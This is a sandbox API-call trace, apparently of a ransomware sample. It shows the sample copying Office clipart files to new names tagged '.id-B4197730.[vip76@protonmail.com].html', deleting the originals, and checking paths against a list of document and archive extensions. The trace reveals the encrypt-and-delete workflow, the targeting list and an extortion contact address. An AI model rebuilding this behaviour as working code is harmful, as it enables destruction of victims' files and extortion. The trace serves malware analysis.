	[0076.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.545] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2422) returned 1
	[0076.545] CloseHandle (hObject=0x38c) returned 1
	[0076.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220
	[0076.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.545] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.545] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.546] GetLastError () returned 0x0
	[0076.546] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x976, lpOverlapped=0x0) returned 1
	[0076.547] WriteFile (in: hFile=0x35c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x980, lpOverlapped=0x0) returned 1
	[0076.548] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.548] WriteFile (in: hFile=0x35c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.548] SetEndOfFile (hFile=0x35c) returned 1
	[0076.548] CloseHandle (hObject=0x35c) returned 1
	[0076.549] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.549] SetEndOfFile (hFile=0x38c) returned 1
	[0076.550] CloseHandle (hObject=0x38c) returned 1
	[0076.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1
	[0076.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.551] lstrlenW (lpString=".doc") returned 4
	[0076.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.551] lstrlenW (lpString=".docx") returned 5
	[0076.551] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0076.551] lstrlenW (lpString=".pdf") returned 4
	[0076.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.551] lstrlenW (lpString=".xls") returned 4
	[0076.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.551] lstrlenW (lpString=".xlsx") returned 5
	[0076.551] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0076.551] lstrlenW (lpString=".ppt") returned 4
	[0076.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.551] lstrlenW (lpString=".zip") returned 4
	[0076.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.551] lstrlenW (lpString=".rar") returned 4
	[0076.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.551] lstrlenW (lpString=".bz2") returned 4
	[0076.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.551] lstrlenW (lpString=".7z") returned 3
	[0076.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.551] lstrlenW (lpString=".dbf") returned 4
	[0076.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.552] lstrlenW (lpString=".1cd") returned 4
	[0076.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.552] lstrlenW (lpString=".jpg") returned 4
	[0076.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.552] lstrlenW (lpString=".doc") returned 4
	[0076.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.552] lstrlenW (lpString=".docx") returned 5
	[0076.552] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0076.552] lstrlenW (lpString=".pdf") returned 4
	[0076.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.552] lstrlenW (lpString=".xls") returned 4
	[0076.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.552] lstrlenW (lpString=".xlsx") returned 5
	[0076.552] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0076.552] lstrlenW (lpString=".ppt") returned 4
	[0076.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.552] lstrlenW (lpString=".zip") returned 4
	[0076.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.552] lstrlenW (lpString=".rar") returned 4
	[0076.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.552] lstrlenW (lpString=".bz2") returned 4
	[0076.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.552] lstrlenW (lpString=".7z") returned 3
	[0076.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.552] lstrlenW (lpString=".dbf") returned 4
	[0076.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.553] lstrlenW (lpString=".1cd") returned 4
	[0076.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68
	[0076.553] lstrlenW (lpString=".jpg") returned 4
	[0076.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.553] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.553] lstrlenW (lpString="CLASSIC2.WMF") returned 12
	[0076.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.554] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2262) returned 1
	[0076.554] CloseHandle (hObject=0x38c) returned 1
	[0076.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220
	[0076.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.554] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.554] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.555] GetLastError () returned 0x0
	[0076.555] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x8d6, lpOverlapped=0x0) returned 1
	[0076.556] WriteFile (in: hFile=0x35c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x8e0, lpOverlapped=0x0) returned 1
	[0076.557] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.557] WriteFile (in: hFile=0x35c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.558] SetEndOfFile (hFile=0x35c) returned 1
	[0076.558] CloseHandle (hObject=0x35c) returned 1
	[0076.562] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.562] SetEndOfFile (hFile=0x38c) returned 1
	[0076.563] CloseHandle (hObject=0x38c) returned 1
	[0076.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1
	[0076.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.563] lstrlenW (lpString=".doc") returned 4
	[0076.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.563] lstrlenW (lpString=".docx") returned 5
	[0076.563] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0076.563] lstrlenW (lpString=".pdf") returned 4
	[0076.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.563] lstrlenW (lpString=".xls") returned 4
	[0076.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.564] lstrlenW (lpString=".xlsx") returned 5
	[0076.564] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0076.564] lstrlenW (lpString=".ppt") returned 4
	[0076.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.564] lstrlenW (lpString=".zip") returned 4
	[0076.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.564] lstrlenW (lpString=".rar") returned 4
	[0076.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.564] lstrlenW (lpString=".bz2") returned 4
	[0076.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.564] lstrlenW (lpString=".7z") returned 3
	[0076.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.564] lstrlenW (lpString=".dbf") returned 4
	[0076.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.564] lstrlenW (lpString=".1cd") returned 4
	[0076.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.564] lstrlenW (lpString=".jpg") returned 4
	[0076.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.564] lstrlenW (lpString=".doc") returned 4
	[0076.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.564] lstrlenW (lpString=".docx") returned 5
	[0076.564] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0076.564] lstrlenW (lpString=".pdf") returned 4
	[0076.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.565] lstrlenW (lpString=".xls") returned 4
	[0076.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.565] lstrlenW (lpString=".xlsx") returned 5
	[0076.565] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0076.565] lstrlenW (lpString=".ppt") returned 4
	[0076.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.565] lstrlenW (lpString=".zip") returned 4
	[0076.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.565] lstrlenW (lpString=".rar") returned 4
	[0076.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.565] lstrlenW (lpString=".bz2") returned 4
	[0076.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.565] lstrlenW (lpString=".7z") returned 3
	[0076.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.565] lstrlenW (lpString=".dbf") returned 4
	[0076.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.565] lstrlenW (lpString=".1cd") returned 4
	[0076.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0076.565] lstrlenW (lpString=".jpg") returned 4
	[0076.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.565] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.565] lstrlenW (lpString="CLIP.WMF") returned 8
	[0076.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.566] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2262) returned 1
	[0076.566] CloseHandle (hObject=0x38c) returned 1
	[0076.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220
	[0076.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.566] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.566] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.567] GetLastError () returned 0x0
	[0076.567] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x8d6, lpOverlapped=0x0) returned 1
	[0076.568] WriteFile (in: hFile=0x35c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x8e0, lpOverlapped=0x0) returned 1
	[0076.569] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.569] WriteFile (in: hFile=0x35c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0076.570] SetEndOfFile (hFile=0x35c) returned 1
	[0076.570] CloseHandle (hObject=0x35c) returned 1
	[0076.571] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.571] SetEndOfFile (hFile=0x38c) returned 1
	[0076.571] CloseHandle (hObject=0x38c) returned 1
	[0076.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1
	[0076.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.572] lstrlenW (lpString=".doc") returned 4
	[0076.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.572] lstrlenW (lpString=".docx") returned 5
	[0076.572] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0076.572] lstrlenW (lpString=".pdf") returned 4
	[0076.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.572] lstrlenW (lpString=".xls") returned 4
	[0076.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.572] lstrlenW (lpString=".xlsx") returned 5
	[0076.572] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0076.572] lstrlenW (lpString=".ppt") returned 4
	[0076.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.572] lstrlenW (lpString=".zip") returned 4
	[0076.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.572] lstrlenW (lpString=".rar") returned 4
	[0076.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.572] lstrlenW (lpString=".bz2") returned 4
	[0076.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.573] lstrlenW (lpString=".7z") returned 3
	[0076.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.573] lstrlenW (lpString=".dbf") returned 4
	[0076.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.573] lstrlenW (lpString=".1cd") returned 4
	[0076.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.573] lstrlenW (lpString=".jpg") returned 4
	[0076.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.573] lstrlenW (lpString=".doc") returned 4
	[0076.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.573] lstrlenW (lpString=".docx") returned 5
	[0076.573] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0076.573] lstrlenW (lpString=".pdf") returned 4
	[0076.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.573] lstrlenW (lpString=".xls") returned 4
	[0076.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.573] lstrlenW (lpString=".xlsx") returned 5
	[0076.573] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0076.573] lstrlenW (lpString=".ppt") returned 4
	[0076.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.573] lstrlenW (lpString=".zip") returned 4
	[0076.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.574] lstrlenW (lpString=".rar") returned 4
	[0076.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.574] lstrlenW (lpString=".bz2") returned 4
	[0076.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.574] lstrlenW (lpString=".7z") returned 3
	[0076.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.574] lstrlenW (lpString=".dbf") returned 4
	[0076.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.574] lstrlenW (lpString=".1cd") returned 4
	[0076.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0076.574] lstrlenW (lpString=".jpg") returned 4
	[0076.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.574] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.574] lstrlenW (lpString="CRANE.WMF") returned 9
